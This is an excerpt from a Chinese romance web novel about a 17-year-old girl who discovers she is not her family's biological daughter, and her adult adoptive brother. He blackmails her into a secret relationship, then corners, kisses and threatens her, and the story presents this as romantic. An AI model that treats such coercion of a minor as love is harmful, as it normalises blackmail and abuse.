《冬听手记》
1. 楔子
温声赶到会所时,外面正下着暴雪,三楼的落地窗被阴雪天印出一片灰蒙,透过窗户,她甩了甩身上的碎雪,推门时,又瞥到靴子上还沾着很厚的雪泥,想也没想,蹲下身,两只鞋蹭来蹭去的开始磨时间。
门内时不时传来道喜的声音,今天是姚家某位晚辈的百日宴。
“阿声?怎么不进去?”
温声一怔,回头看去,姚书文的堂妹姚之敬手里甩着包链从电梯里走出来,家族聚会这种重要的场合,两人都双手空空,姚之敬作为长辈最应该给小婴儿准备点见面礼的,但她又不是多靠谱的长辈,忘也就忘了。
这位行事飒爽的姨妈弯腰去敲温声的脑袋,笑着问:“怎么一副做贼心虚的模样,惹到你哥了?”
温声脸上有抹不自在,借着她的手站起身,摇头否认:“就是来晚了,不太好意思进去。”
七点的宴会,她九点才到。
姚之敬指向她背上鼓起的书包:“里面是什么东西,不重吗?”
温声抽紧包带垫高书包,语气有点别扭:“刚去买了点礼物,要送人的。”
姚之敬果断伸手开要:“姨妈今晚正好没准备,借我点。”
礼物是随便能借的吗……
面前的小姑娘快速后退半步,两手护住书包,脸颊鼓起很为难的样子:“这是要送给……还算重要的人的礼物,抱歉啊姨妈。”
刚说完,后背就挨上她的一记铁掌,温声闷哼出声,被迫直起腰,姚之敬抱臂瞅她:“那就挺起背自信点,你是送出礼物的人,不管对方收不收,都别一副你欠人的表情。”
温声讷讷地拢起眉头,她可不就是欠人了吗……
而且还欠的……莫名其妙的。
直到被姨妈牵着手领进门坐到姚书文旁边时,温声才褪去迟到的尴尬,视线刻意避开坐在对面的人,小声和姚女士咬耳朵:“妈妈,今晚能早点回家吗,作业有点多。”
姚女士正在给她调酱汁,听她鬼鬼祟祟的声音,笑着点头,语气学她也变得又轻又低:“等会你和你哥先走,我和你爸还要晚点。”
温声立马摆手拒绝,一脸不情愿:“我自己打车走,或者让李叔来接我——”
“呵。”
话音倏尔卡住。
温声嘴边的笑一凝,双眼盯紧对面那个突然生笑的人,笑声诡谲,最起码在这一片欢声温馨的氛围里,那笑意古怪又惹人烦,见他漫不经心地歪起头,既没抬眼也没说话,长指随意抚着下巴,另一手赖赖地滑着手机,也不知道看到什么有意思的,扯唇又是一声哼笑。
……
求你别搞我心态了行吗?
温声抿起唇,不就是她被同级男生拉到操场表白正好被他撞见吗?
可他们只是兄妹,他给她甩个什么脸色啊?
温声狠狠斜了他一眼,报以嗤笑,忿忿拍了把书包。
下午在操场看到他单肩提包走出教学楼,距离有点远,她摸不清他脸上是什么表情,只知道在一堆放学涌动的人群里他停下步子看了她几秒,也可能是看向她对面的男生,眼神拉平,轻佻玩味,不等她招手,他就头也不回出了校门。
也不知道自己心虚个什么劲,她晚上还冒着雪跑到另一个城区去排队买他喜欢吃的糕点。
但是他配吗?
姚之敬抱着宝宝走过来打算逗一把侄子,假意要将怀里的婴儿推到路泊汀身上:“她现在睡熟了,你抱抱看。”
本以为他会像往常一样手一摊扯出一副无奈样:别了,我和小孩儿处不来。
谁料路泊汀这会儿收起玩世不恭,手机甩进一旁的大
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包里,拉开羽绒服的拉链,伸手搂过那个睡着的婴儿。
裹布温热绵软,有着婴儿特有的乳粉味,她的个头实在太小,还没他手臂长,呼吸浅浅弱弱的,他连低头看她的动作都不敢太重,可能是缠着手的布太软,他僵滞许久的手指小心动了动,婴儿也跟着动了动,不过睡得还算安稳,他弯下背开始学姚书文刚才的抱法,边轻哄边慢摇。
低垂的目光有种格外细致的温和安静,还有不多见的耐心,和平日里那个散慢冷淡的大男孩有点重不上。
不知道的人还以为他抱得是自己的孩子。
有意无意地瞟向他,温声慢慢停下喝水的动作,餐桌上摆着没吹灭的蜡烛,过道行人晃动,烛影虚曳,他低下的侧脸掩入晦色,周身暗而沉默,和四处的温意暖光有点格格不入。
今晚大家总是开心的,但他好像不是。
想了想,温声还是拉开书包去掏包装精致的甜品盒子,打算主动给他台阶下。姚书文暼了眼儿子抱小宝宝的动作,想到什么似的转而挑眉失笑:“抱姿还不错。”
姚之敬也嘻嘻一笑,拉过温声,故意声音很大:“你哥挺会抱小孩的,以后应该是个好爸爸。”
爸爸……
温声愣起神去看路泊汀的反应,他像没听见,有些心不在焉地挑开两边的绒布,婴儿的呼吸空间大了一些,他又挠了把她的小肉下巴,这才朝姚之敬和自己的妈耸肩笑了笑,笑意戏谑疏离:“我不结婚啊,不是早就说过吗。”
他忽然抬眼,旁若无人地盯过来,目光肆意大胆,细看又很空,温声下意识想躲开,但那一刻说不清道不明的,她静静回视,心里却没来由地很慌。
“妹妹应该知道哥为什么不想结婚吧?”
“不知道也没关系。”
我知道就好。
2. 交易
江城一中
为期三天的开学考终于在周五拉下帷幕,校园里零散走着几个抱书的学生,江乐橙背着包从教室后门跑出来跟在温声身后,语气很蔫:“完了啊阿声,我这次数学又砸了。”
走在前面的女生回头轻拍她的脑袋,唇角掀起很淡的笑意:“我也考砸了,大不了请家长呗。”
江乐橙嘟起嘴巴边走边摇她的胳膊,“可我好羡慕你,以后都不用参加高考,去哪儿读书你家都给你安排好了。”
家家有本难念的经,温声浅浅一笑没吭声,她不说只是不想揭开自己的疤。
气氛一时沉默,江乐橙还想问什么时,旁边的人慢慢停下脚步,她侧过目光看她,傍晚秋风细微清凉,她只穿了一件细肩吊带,突然间,手里的校服一甩一甩的,余晖迎面照在她身上,落了橘光的高马尾随风拂起,细发轻扬,那双极具美感又张扬的浅瞳挑衅似得微微眯起,直视校门口的某处。
江乐橙也跟着停下,顺着她的视线看过去。
校外柱子上靠着一人,身形修长,姿态散漫,单肩背着一只很大的黑包,宽松卫衣的帽子松松兜到头顶,只露出黑色棒球帽的帽檐,这会儿正一副索然的表情盯着对面柱子上的大理石纹理,嘴里一鼓一鼓地嚼着软糖,直到有人靠近,他才懒洋洋地站直身子,瞅着她身上那件遮不住肉的吊带,语气凉凉:“大小姐,把衣服穿上呗,别感冒了回家我被骂。”
江乐橙一双圆眼在两人身上来回飞快提溜,她是学校里为数不多知道这两人是兄妹的人。
但是……
她注意到温声嘲意十足地翻了记白眼。
……这哪像兄妹,俨然一对仇人。
江乐橙干笑两声,朝温声挥了挥手,“阿声,下周见,我先去坐车啦。”
“路上注意安全,到家发消息。”
盯着她上了车后温声才移开视线,绕开面前的人打算继续朝前走。
路泊汀挑眉冷哼一声:“你能不能对我上点心,都等你半天了。”
说完一把扯走她手里的校服,不顾她挣扎兜头就给她套了上去,完了又去捡她的一只手牵,哗——
被甩开。
路泊汀笑,也不气,又耐着性子弯腰去牵,再次被甩开。
他这回没动,歪头瞅着她,低声问:“什么意思?”
温声见他靠得近,抬手就往他肩上一捶,“你离我远点,我不想咱俩关系被发现。”
路泊汀嘴角笑意一收,拎着她的书包往自己肩上甩,又低头去找她的眼睛,欠欠补了一句:“发现又怎么了,我们不是亲兄妹这不是事实么?”
“走开!我讨厌你!”不想听他胡诌,温声绕开他就要走,肩膀却被环住,他揽着她转了个方向朝路边停的一辆银灰色跑车走去。
温声细眉微蹙,“妈让你开车了?”
他之前18岁生日刚过没多久就拿了驾照,但被姚女士一开始就禁止上路,他平时那帮玩车的朋友上个月就有人进了医院,差点没救活,他玩性也很野,不管管真怕哪天也出意外。
“没,偷开出来的,其他车不敢开。”路泊汀开了车门轻手塞她进去,又绕到另一侧上车。
车门一关,两人都没说话,车内静了又静,还是路泊汀轻咳一声,靠近她,一手拉过安全带扣上,撑在玻璃上的手掌没有收回,黑曜曜的眼睛若无其事地盯着她,半晌没任何动作。
温声鼻尖微动,想让他坐回去,刚偏头就被一记黑影压了上来。
微凉的唇轻触到一起时,她什么都来不及想,本能又慌张地闭上眼,路泊汀顺势握上她的颈,扣紧,拉近,唇间带着柠檬海盐糖的甜涩,察觉到她有点紧绷,温热的大手慢慢下滑,在她半侧肩膀处哄小孩一样轻碰了两下,车内偏素冷的木质沉香味渐渐被带起少许暖意。
车里又暖又昏暗,温声心里的那点闷气顺着他温柔的助推飘到很远,慢慢消散。
不知过了多久,脑袋晕乎乎呼吸也开始不顺畅起来,温声微仰头想要停下,却被他缠着不放,她唔唔两声,撑到两人身前的手想要推开他,奈何这人纹丝不动:“唔……放开啦!”
路泊汀轻笑出声,捏住她的下巴再次拉近,这回吮声加深加重,温声最后都快要被脸上的热气憋死了,他才慢慢退开,还意犹未尽地抵着她的唇角轻舔了一下才松手。
“我的道歉。”
一记温柔的吻。
温声脸红耳热地瞪了他一眼,低头紧紧捂住脸颊,掌心的热度烫的惊人。
路泊汀开上主干道,伸手又去揉她的脑袋,“今晚爸妈都在家,你要是不想回家吃饭,晚饭我来安排。”
温声按下车窗,凉风吹散热气,路灯和周围的车灯映在她眼里,明澈的眼里泛出一层细碎浅薄的水光,想了想她还是摇头道:“还是回家吃吧。”
谁都知道她是路家的小千金,却不知道她是假千金。
十七年前路家真正的小女儿刚出生就被人拐走,路家找了五年才有消息被拐走的女儿叫温声,是留在上河福利院五年的孤儿,血型和DNA配对基本一致,出于对女儿的亏欠,以及以前福利院负责档案的人员退休,路家爸妈至今也没去核实那份鉴定报告到底是不是真的。
只是……
一年前,上河福利院给温声寄了一封信,是院长写给她的,姚书文拿到信后只当是福利院定期给女儿发的祝福,交到她手里就离开了。
冗长繁琐的信,温声读了半天,全都是她小时候在福利院发生的事,可惜她没什么印象了,只不过,信的结尾只有一句话——
阿声,对不起,其实你并不是路家的女儿。
她捏着那封信,在八月炎夏的空调房里惊出一身冷汗,脸上血色尽褪,还没反应过来,就看到路泊汀倚到她房间门口,扬
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起下巴点了点她手上的信,淡声问:“手里拿的那是什么?”
他知道了。
那段时间两人一直都很沉默,路泊汀先是带着她重新做了鉴定,证实她确实不是路家的女儿,而她的成绩也在那时开始极速下滑,路家爸妈以为是女儿高中学习压力大,笑着宽慰道:“我们阿声尽自己的能力学吧,以后想出去就出去读,不用给自己太大压力。”
温声不知道被他们发现后会有什么后果,但肯定的是,她的生活早在收到那封信后,就发生了天翻地覆的变化。
生活好像平静了很长的一段时间,在她以为这件事可以被悄悄揭过时,路泊汀找上了她。
他们以前虽然以亲兄妹的身份相处,但关系始终很微妙也很奇怪。
她高一和班里某位男同学学习上走得近,也就是普通同学的关系,他那段时间总要三番五次地在她面前晃,有一次甚至还走过来,高高在上斜睨着二人,当着她和那位男同学的面哼着笑阴阳怪气道:“我以为是什么帅到惨绝人寰的人上人,原来是给你哥提鞋都不配的下人。”
她当时都被说懵了,脸立马火辣辣的,愣在原地手足无措,对那位同学道歉也不是,不道歉更不是。
这封信后他对她就更肆无忌惮了,好像终于撇清了那道亲缘关系最后的束缚。
直到那天。
温声洗完澡后披上浅色浴巾,长发撩出,水珠滴在身前,她的脸颊湿乎乎,回身刚要出浴室,眼皮倏尔一跳。
路泊汀斜靠在浴室门口,抱着臂,就那么静静地看着她。
该怎么形容他的眼神呢?
像伺机等候多时即将收网的丛林猎人,眼里覆着一层她看不透的迷雾,想要看清时,他却轻轻一阖,那层雾气被敛却,脸上转而又换上平时那副玩世不恭的睥睨神情。
“做个交易吧。”
路泊汀压低眼皮走近,温声慌得抱手遮在身前,但无济于事,该看的都看完了。
他太高,顶灯的光线在他侧脸投下一片小阴影,眼眸黑亮却很沉,直勾勾地注着她,眼尾和她一样都是微微上扬,不说话时,他总是端着一副似笑非笑的做作样睨着她,就像现在,他压低身凑近,她被圈进角落,没对视,也没多余动作,他只是盯着她的粉唇,声音清冷带着低语的轻:“咱俩在一起,如果你自愿接受的话,你的事我替你保密。”
温声头脑一滞。
什么在一起?在一起什么?
她没反应过来,睁大眼定定看他,热气上身,脸颊还潮红一片,这会也不知道为什么连耳根都红了个透。
懒得多说,路泊汀低头就咬住了她的嘴唇。
这是她的初吻。
也是他的。
但在梦里已经吻过无数次。
于是,像打开了潘多拉的盒子,路泊汀的恣睢让温声觉得……
他好像蓄谋已久。
3. 试探
思绪收回,温声按上车窗,余光看到他撑着方向盘的手,深色卫衣只露出一截清棱分明的腕骨,黑檀细手串的珠沿贴着白净的皮肤,手腕这会儿虚搭着方向盘,细挑的指尖冒着红,手背随着轻敲鼓起淡色的青筋,有一搭没一搭地,漫不经心的动作里带着天然的冷感。
温声定定看了会儿,又若无其事地移开目光,脑袋抵窗,嘴里小声嘟囔:“天天都戴,真有那么好戴吗……”
虽然是她之前送他的生日礼物,但只是条手串而已,有必要睡觉戴,打球戴,弹琴戴,洗澡也戴吗?
她的声音不算大,说的那句话还被窗外的车鸣声盖过,但以往这种别别扭扭的腔调,表情又哼里哼气的,不用想都知道是在说他。
遇红灯时,路泊汀陷进椅背,仰头,顺道偏了视线看她,定眼不过两秒,没忍住抬手捏住她的脸,用力一拧,在她龇着牙打过来前松手又看向前,拖着嗓音笑,听上去就一混不吝:“我现在可没惹你,别没事找事啊宝宝。”
温声起劲儿还了他肩上一捶,翻起白眼又窝进座位里。
车子开回怡翠苑时天色已经暗了下来,温声站在门口等路泊汀停车,脚下漫无目的地踢着小碎石,倏地听到三楼有尖锐的破碎声,她心里一惊,声音是从姚女士房间传来的,来不及多想扯开步子就要上楼,胳膊却被一把拽住,回头看他,路泊汀淡着一张脸,没什么表情地看了一眼楼上,牵着她就往门外走,“出去吃吧。”
温声挣扎手腕,“唉!你放开我,我要进去看看。”路家爸妈很少吵架,今晚这种摔东西的情况更没有过。
路泊汀只好松开她,恢复那副吊儿郎当的模样,“别怪我没提醒你,这种时候躲得远远的是最安全的,别无辜被溅上血。”
温声暼了他一眼,转身上楼。
若有所思地盯着她的背影,路泊汀敛下黑眸,修长的身形在路灯下有些伶俜,摸出口袋里的软糖,扔进嘴里,过了会儿,叹了声气也跟着走了进去。
两人后背贴前胸,叠着身躲在楼梯拐角处偷听,隔音太好温声听不太清,又不敢有太大动静,只好窝在墙边继续扒着听,路泊汀比她高一个头有余,他动了动耳朵,面上一沉。
就知道是在骂他。
有丝清香飘在眼前,很淡的琥珀茉莉味,路泊汀不动声色地微微低了头,温声正凝神屏息地观察着房间里的动静,等反应过来时她已经被他挤到了最墙角,丝毫动弹不了。
深吸一口气,她木着脸小声警告:“你离我远点。”
没反应。
她咬牙又重复了一遍。
依然没反应。
温声抬起头刚要开骂,就被路泊汀忽然勾过脖子,低头,慢慢凑近,嘴唇挨到她耳边,热息拢住她,温声的头皮瞬间炸开颤栗,他还挺满意她这个反应,压下笑意,故意沉着声用气音说:“嘘,你有没有注意到刚才有什么影子从楼上飞过去?”
三楼到四楼的回廊没有开过道灯,四楼除了有路康的书房,还有一间很大的储物间,温声很少上四楼,听刘嫂说过那间储物间之前因为某些原因锁住两年,她也没问什么原因,潜意识里并不想知道,路泊汀这话一出,她立马贴紧身后的瓷墙,手指动了动,忍住去抱他的胳膊,咬着唇声音都有点打颤:“是……是什…什么?”
别吓她啊!
路泊汀脸色微暗,突然退后两步,温声没来及反应身前就空了,声音又小又急:“哎你别往后退啊我害怕……”
他环住胳膊,两手交错抱住自己,背靠后面的扶手,耸起肩作害怕状:“有点像一团黑雾,没什么形状,速度很快……就是它!”他的声音骤然变大,神情说不上的惊悚,抬手冷不防地指向她身后,“你身后……”
“啊!”
温声条件反射快快抱住他伸着的胳膊,整个人慌里慌张地往他怀里使劲儿凑,抱住他就是不撒手,也不管是不是在家了,好像只要贴着他,身后就算真有什么灵异怪物她也不怕了。
路泊汀站着没动,懒懒勾起唇,眉梢微挑时,眼
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里晃过笑意,他弯下背,动作很慢,直到视线和她平视,穿过她身后轻搂上她的腰,像睡意朦胧时翻身抱住抱枕一样心满意足,他偏了下头,耳侧很快地扫过她的耳朵,然后光明正大地挠起她的颈肉,声音隐着笑,细听又有几分宠昵:“这么怕啊,那我就勉为其难收下了。”
温声立马反应过来他又在逗她,在他怀里扭来扭去想挣脱开,“你怎么每次都骗我啊!你就不怕哪天我真的不再信你了,信任没了就是没了!”
路泊汀这回笑出声,尤其听到她那句‘信任没了就是没了’,小时候两人玩游戏她就只有输钱干杂活的份儿,每次被他搞输了都会皱起个小脸叉腰委屈道:信任没了就是没了!你在我这里永久除名!
可现在,这不还是赖着他么?
温声挣不开,她越是抗议,他抱得就越紧,她疲疲喘了一口气,脑袋啪的一声耷在他胸口,放弃挣扎了,在暗自唾弃怎么就不能好好长一次记性时,头顶的房门忽然一开。
“你两站在这儿干什么?”
温声一惊,猛地推开路泊汀,脑子里有根弦又划过——这不是能推开吗?刚才她就是懒得和他计较!
抬头看站在楼梯口的男人,他松了松领带,修剪有型的短发有些凌乱的贴着额头,路康一瞬不瞬地盯着刚才在楼梯间贴身又迅速弹开的两个小孩,伸手指向路泊汀,“你跟我来书房。”说完就先上了楼。
路泊汀半阖着眼情绪没变化,侧过头,捏了捏她的手,低声道:“你先去找妈,我一会儿去你房间,别担心。”
温声心里一阵发慌,不知道他两这种关系是不是被发现了。
路泊汀跟着路康进了书房,瞅着自己的老爹一脸暗色,也不废话直接开问:“什么事啊爸?”
路康坐在皮椅上,两手交叉支在胸前,他盯着儿子,好半天没换动作也没说话。
路泊汀被他盯得有点发毛,低咳一声,刚要开口,就被路康接下来的一句话呛个半死。
“你有女人了?”
4. 输家
路泊汀立马反应过来,脸一沉,“你们进我房间前能不能和我说一声?”
路康也觉得尴尬,毕竟儿子已经成年了,该有的自由他不会过多干涉,但是……
“你妈说你带女孩子回来,进你房间发现有女生的衣服,你是成年人了别的我管不到,但是我只有一个要求,不能在家里,阿声还没成年,被她撞见不太好。”
路泊汀眯起眼,声音很淡:“撞见什么?”
路康一怔,这话接的太顺口太直接,乍一听还有几分淡然坦荡,他作为发话的人一时竟不知道该怎么说清楚,但那件女生的衣服又是明明白白落在他浴室的,他也不是没给姚书文解释应该是阿声的,可这话连他自己都不信。
女儿的衣服落在儿子房间,还是浴室,开什么玩笑?
这两孩子互不对付是常事,一人在家的时候,另一人宁愿住离学校很远的南郊也不回家,他虽然一年回国次数很少,但每次一回来都能看到俩孩子打嘴仗,尤其阿声,脸上的恼羞成怒假不了。
本来就不是和孩子作对的人,想了想,路康还是薄着脸皮好声说道:“只要你不乱搞,我和你妈不会管你的,谈女朋友了就好好珍惜人家姑娘,你又不是不知道你性子不招喜,你女朋友应该还在读高中吧,这种情况你不应该好好给姑娘补习补习课本,整天往你房里带什么?”
说罢,看儿子那副坐姿松垮不以为然的纨绔样,路康又想到房间里可能发生的情况,原本交叉抵在身前的手倏尔一顿,想也没想,从笔筒里抽出一支笔朝他快速丢了过去,食指重重点了点警告道:“你要是敢玩玩欺负人孩子一指头,我现在就打断你的腿。”
上来劈头就是一顿指向性的教育,路泊汀原本冷着脸不愿多解释,温声的衣服在他房间又不是稀奇事,他搞了个小型影院,她偶尔来他屋里翻碟片看看纪录片,有问题?
抬眼看路康,姚书文平时都不上心的事,他总要隔着电话叮嘱个三四遍,有时候不放心家里的妻儿老小,丢下一堆下属自己拎个公文包突然出现在机场,就像现在,身上还穿着昨晚开会的正装,转头就因为老婆一个电话跑回国来教育不省心的儿子,哪还有人前的严正肃然。
刚才的心烦莫名消失,路泊汀敞开长腿半仰到沙发上,垂眸瞧了眼路康扯唇忽然笑了开:“我什么样您还不清楚吗老爹,上梁正下梁怎么会歪?有喜欢的姑娘自然会带到您二位面前,那件衣服是温声的,和其他人没任何关系,别猜了。”
我清楚才有鬼,路康暗忖道,翻了翻桌上的活页纸,又抽出一支钢笔打算给儿子立个字据规矩,从女朋友延伸到家里家外,嘴上还要正告几句:“能不能在家里让妈妈省省心。”
外面突然下起小雨,细雨密匝,哗啦哗啦打向落地窗,在深色玻璃上聚成暗淡的光点,雨雾从两侧纱窗飘进室内,和书房常年点着的白檀线香混为一体,纤薄的木质感带上几丝秋雨的濡润,路泊汀突然就想起下午在车里两人唇舌抵缠的情景。
她接吻很好玩,怕让他得逞,喘息声压抑又克制,但她越是藏住呼吸,从眼睛到鼻尖一路向下,气息就越溽烫,像现在空气中隐现飘溢的湿雾,成顺失控又无规则地全部扑向他。
像小猫,随心情变化偶尔舔一下逗弄它的主人,惹急了龇牙哈声气,又不会真的跳脚。
很有意思。
路康瞧着儿子的神情,见他一副心不在焉斜斜靠在沙发上的样子,心里涌上一阵怒气,为了他这点事还被老婆骂了一顿,没忍住,抽出一支笔又朝他甩了过去。
路泊汀思绪骤停,盯着地上的笔,突然问:“如果温声带男生回家,你能接受吗?”
光是想想这事都觉得没法接受,果然,路康手里的银质钢笔这回直往他脑门砸过去,后牙咬紧骂他:“管好你自己吧!你以为妹妹是你?她很乖的,就算是你拐回来男人她都不可能!”说完不解气,又随手拿了桌上的文件夹朝他掷过去。
路泊汀侧身轻松躲开,咧开嘴笑得一脸混蛋样:“所以,她只能被我欺负是这意思吗?”
路康一时没察觉到这句话有什么歧义,头点的不是很乐意,但也算承认:“也别太欺负,毕竟是女孩子。”
说完他发现自己被绕进去了,大手拍着书桌啪的一声:“唉!你小子别打岔,我们现在说的是你的问题!我和你妈一致觉得你以后绝对是个男女关系乱来的混子。”
他心里把儿子的外貌批的一文不值,长的就是副渣男样。
路泊汀觉得和他老爹说话费劲,挥挥手要走人,到门口时又转身看了一眼路康,眼里的雾色半真半假,语气很淡:“我是有喜欢的人了,但我不是您二位眼里混不上台面的人渣,而且,”他低下眼,想到什么似得,唇角翘起,“我会对她负责,负责一辈子。”
说完就头也不回出去了。
路康看着他的背影,瘦高挺拔,整个人有股凌厉的锐气,早就不是儿时半大点的稚气孩子了,他莫名就想起自己年轻时追老婆的样子,门被带上的同时,老脸登时一红。
他不也是这样么?
*……*
温声推开卧室门,姚书文正戴着眼镜坐在床头看文件,顶灯明亮的光晕照在她周身,背影看上去恬静又温馨。
姚书文和路康结婚的早但是一直没要孩子,路康因为工作性质的原因总是外派国外,一去就是大半年,姚书文当时又任研究员,夫妻两人经常分居两地一年见不了几次面,后来两人慢慢稳定下来才打算要孩子,生路泊汀时她过了三十五岁,在当时已经属于高龄产妇。
温声轻步走过去靠在她身侧,想给她敲背,手还没抬起就听见姚书文问:“阿声,你有没有觉得最近你哥有点反常啊?”
温声抿起唇不知道该怎么回答,只好绞住两只手乱抠。
姚书文看完文件提笔落了名后,放到一旁,回身朝她呶呶嘴:“我在他卧室发现有女生的衣服裤子,我觉得你哥有喜欢的人了,而且两人关系突飞猛进。”
怎么个突飞猛进法,不言而喻。
“咳咳……”温声本来还在愣神,一个没注意险些被口水呛到。
妈妈,那是我的衣服啊……
姚书文轻拍她的背,转而叹气,“你哥要是有你一半听话就好了,我总管不住他,谈恋爱当然可以,但其他的事目前我还不允许。”
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她没有细说,在敏感的事上并不打算现在就告诉女儿。
温声咬起唇肉,小心翼翼地问她:“他只是谈恋爱而已,又是学生,肯定还没有你们说的那么严重吧,和女朋友牵牵手偶尔接接吻也没事吧……”
越说声音越低,她天生就不是个能撒谎的人,就在要结巴时,姚书文顺着她的话点了点头:“所以我让你爸去和他谈,把握好度最重要,臭小子让人不省心。”又捏起她的脸,一脸宠溺,“还是我们阿声乖,是妈妈最乖的宝贝。”
望着她搂紧自己的手,温声垂下眼,怎么办?她和他之间好像越来越乱了……
她微微挣开,跪坐在床沿,呼吸有些紧,“妈妈,如果今早你在我卧室发现了其他男生的衣服,你会怎么做?”她的语气很认真,轮廓姣好的眼睛在灯光下湿漉明亮,让人的态度不由矜然起来。
姚书文笑容敛下,压低眉梢,细白的手握紧她,“妈妈不会让别人欺负你的。”身子又靠近几许,盯紧她的表情,“阿声,是遇到什么问题了吗?”
温声身体一僵,有一瞬间,真的有那么一瞬间,她想坦白的,她不是路家女儿,而且……她和路泊汀目前是情侣关系。
张了张嘴,还没出声,敲门声响起。
路泊汀靠在门边,视线闲散地落到两人身上,又若无其事地瞥向她,语气淡然:“收拾一下下楼吃饭吧,刘嫂做好晚饭了。”
温声闭上嘴轻呼一口气,笑了笑重新抱住姚女士,“别担心,我没什么事妈妈,我们下楼吃饭吧。”
姚书文看着她,回头又照了一眼杵在门口的路泊汀,没再细问只好点头 。
下楼时,姚书文走在前面,路泊汀故意拖着步子,走到拐角处,他拦腰拉过温声,一手捂着她的嘴重重抵向角落,低头在她耳侧轻声道:“什么话该说不该说,不用我提醒你吧?”
声音很冷,哪还有半小时前逗她的戏谑样,温声突然觉得很委屈,后背猛然擦过扶手,本来就痛的直皱眉,她用力推他,但推不开,只好耐着脾气压低声音:“放手!你在害怕什么啊路泊汀?没做亏心事就别怕别人说什么。”
他没动,她又伸手去掰他的手指:“还是说除了我不是亲生的这件事,你还有什么事是瞒着我瞒着大家的?”
“呵。”
他突然气笑,虎口扣住她的下巴,长腿压住她动弹不得,垂颈朝着她的眼睛吹凉气,温声被吹得眼睛又痒又疼,眨呀眨的,眼里流出细碎的水光。
“听好了,我们之间的交易我说停才能停,玩家只有赢和输,没有半途退出这一说法。你尽管说出去好了,只要……”他突然咬住她的下唇,动作很重,只两秒退开,“只要有人能信你的话。”
温声吓得往后躲,慌忙朝楼下看,姚书文正在摆碗筷没注意这里。
她用手背快速抹过嘴巴,直盯盯地瞪他:“那你也听好了,我不在乎我是不是亲生的,也不在乎他们会不会知道,你别惹我,不然大家一起玩完。”说完就推开他跑下了楼。
路泊汀盯着扶手处的花纹,杂乱无章的走向,一直蔓延到楼下,直至纹理消失。
他嗤笑一声,转过身离开。
5. 重圆
周一
温声早晨五点多就醒了,迷糊中听见走廊有行李箱拖动的声音,她揉了揉眼睛,拿过床头的闹钟看时间。
5:47。
“去京市后照顾好自己,最近降温加点衣服,还有记得去看望梅姨,东西我让你爸放车里了……”
姚书文低声交代了几句,温声下床还没走近门口,就听见路泊汀简单应了声后提着行李箱下了楼。
……他要去哪里?
自从周五晚上两人闹了不愉快后,周末两天温声就没见过他了,等楼下的车离开后,她才打开门。
姚书文披了一件薄衫走上楼,见她站在卧室门口,微微一怔:“乖宝怎么不多睡会儿,离上学还早呢。”
“妈妈,哥要去哪里啊?”她佯装一副被吵醒的惺忪样子打着哈欠问道。
“他没说吗?高联物赛马上要预赛了,这周五正式开考,你哥提前去京市了。”九月初清晨的气温偏低,姚书文紧了紧身上的衣服,又上前推开她的门,轻哄道:“再去睡会儿吧,到点了让刘嫂叫你。”
温声点头应了声,门快关上时,还是没忍住扶着把手,又问她:“那他什么时候回来?还有……他没说什么吗?”
姚书文意外地看了她一眼,这两孩子平时在家的时间很少同频,更别说会去过问对方的事,“大概周末就回来了,你哥时间比较赶,没说两句就走了。”
温声勉强一笑,“妈妈快去休息吧,我一会下楼吃早饭。”
关上门,温声掏出手机,这一年来他要去哪里总会告诉她一声,这次冷不防离开,她总觉哪里怪怪的。
就算是吵架,离开时总要发一条消息吧?
盯着他的头像思忖片刻,咔嚓——锁屏。
凭什么要她主动找他。
*……*
开学考成绩出来后,温声捏着手里的成绩单,没眼看。
她又成功垫底。
江乐橙刚从小卖部回来,手里拿着两罐酸奶,放了一罐在她面前,又抽出她手里的成绩单,粗粗一扫,扣回桌上,吧唧嘴巴道:“阿声啊,咱别挣扎了,乖乖复习你的英语考试吧。”
温声拿过酸奶,插入吸管,细细嘬一口,“我考虑了一下,还是想走文化课在国内上大学。”
“咳…哎哟……”江乐橙被酸奶一呛,使劲拍了拍胸口顺了口气,“没搞错吧,你这个成绩连二本可都考不上,我看还是别了吧。”
温声斜她一眼无奈的笑,“所以才要开始学了啊,打算先从数学入手。”
以前没什么志向,对学习也没奔头,就算考试垫底,家里人也不会揪着她那点成绩不放。
但现在……
她不是亲女儿,纸包不住火的,总有一天会被发现。
也总有一天,她会失去目前拥有的一切。
上课铃开响,江乐橙偷偷摸摸扭过身又说:“阿声啊,再好好想想吧,能出去读就出去读,这么好的机会别浪费了,你走艺术肯定比文化课成绩要好很多。”
以前的阿声,性格娇纵,还带着点傲恣,高高扎起的马尾,微风鼓动的裙摆,干净又灵动的五官里满满都是飞扬的活力,她就没见过她有特别上心的人和事,好像总是一副任性又无欲无求的模样。
温声无意识滑开手机,扫了眼消息栏最下面已经好几天没动静的黑色头像。
“我已经考虑好了。”
周三下晚自习后,班主任王立明拿着一张运动会报名表走进教室,早就收拾好书包准备开溜的同学各个不耐烦地用书包顶开课桌,声音压抑又放肆。
王立明只好举起手安抚这帮学生:“好了好了,我马上说完。月末的运动会要抽出班里一半的同学参加,这张报名表我先交给体委,你们要踊跃报名知道吗,还有……”
温声的同桌贺厉是个学习很好性格很温和男生,听完老班的安排,他低下头收拾书包,一般这种班级活动他很少参加,余光看见温声举起手:“王老师,我想报名跳高。”
“好,徐又昀记一下。”
贺厉靠近她,低声问:“你不是不喜欢这些活动吗?”
温声朝他一笑,眉眼弯弯,顾盼生姿,“就是觉得趁没毕业前多参加几次集体活动也挺好的。”
贺厉本能地勾起书包带子,卷出一道褶痕,随即又很快用手抚平。
老班离开后,温声背着书包在教室门口等江乐橙,一中的教学楼分ABC三个区域,A区是高一高二年级,B区是办公区域和实验室,单独的C区是高三年级,晚自习后,校园回廊充斥着喧嚷打闹声,远处的C区依然安静,还在加课上晚自习中。
九月金桂飘香,室内外满是桂花的酸甜味,温声透过窗户望向对面那栋楼,平时这个点路泊汀都会背包提前走。
然后在她满脸不乐意下故意杵到校门口等她。
他长得好,运动好,学习成绩好,还拿到了竞赛国集的名额,不出意外能在明年年初收到顶部两所学校的保送名额,是全校老师捧在手心的香饽饽,虽然姚女士时不时挤兑他,但不可否认,他真的很耀眼优秀。
温声回过神,江乐橙还没收拾好,贺厉低着头正站在体委桌前不知道在说些什么,她觉得无聊,摸出手机,打算问问那个消失几天的人。
——你什么时候回家?
犹豫几秒,删掉。
——妈说让你回来的时候带点特产。
好像有点生硬,继续删。
——妈让我和你说复习放轻松。
温声眉头皱起,感觉怎么发都不对,手指按上删除键,界面突然跳出一条消息。
L:看你输入半天了,有事么?
有点淡漠又有点距离感。
温声嘟起唇在空气中翻了个无声的
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白眼,打算晾他一会儿,又想起他可能还在复习,于是噼里啪啦敲过去几个字。
